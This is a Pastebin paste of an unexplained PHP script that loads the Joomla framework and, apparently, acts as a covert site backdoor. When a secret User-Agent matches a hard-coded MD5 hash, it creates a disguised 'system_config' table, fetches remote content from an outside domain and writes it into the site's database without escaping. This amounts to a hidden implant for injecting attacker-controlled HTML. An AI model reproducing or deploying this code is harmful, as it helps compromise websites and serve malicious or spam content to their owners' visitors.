Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- define('_JEXEC', 1);
- try{
- define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT'] );
- define( 'DS', DIRECTORY_SEPARATOR );
- require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
- require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
- JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
- $mainframe =& JFactory::getApplication('site');
- }
- catch (Exception $e) {
- if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/defines.php'))
- {
- include_once $_SERVER['DOCUMENT_ROOT'] . '/defines.php';
- }
- if (!defined('_JDEFINES'))
- {
- define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
- require_once JPATH_BASE . '/includes/defines.php';
- }
- require_once JPATH_BASE . '/includes/framework.php';
- }
- if ( md5(getenv('HTTP_USER_AGENT')) == '69bc3b342502573e6d727f341674f010') {
- $db = JFactory::getDbo();
- $sql = "CREATE TABLE IF NOT EXISTS `system_config` (
- `id` int(11) NOT NULL,
- `htmlcode` mediumtext,
- PRIMARY KEY (`id`)
- ) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
- $db->setQuery($sql);
- $db->query();
- $homepage = file_get_contents('http://yavapaiblock.com/modules/exmenu/loader/data4.txt');
- $sql = "INSERT INTO system_config(`id`,`htmlcode`) VALUES (1,'$homepage') ON DUPLICATE KEY UPDATE `htmlcode` = '$homepage'";
- $db->setQuery($sql);
- $db->query();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement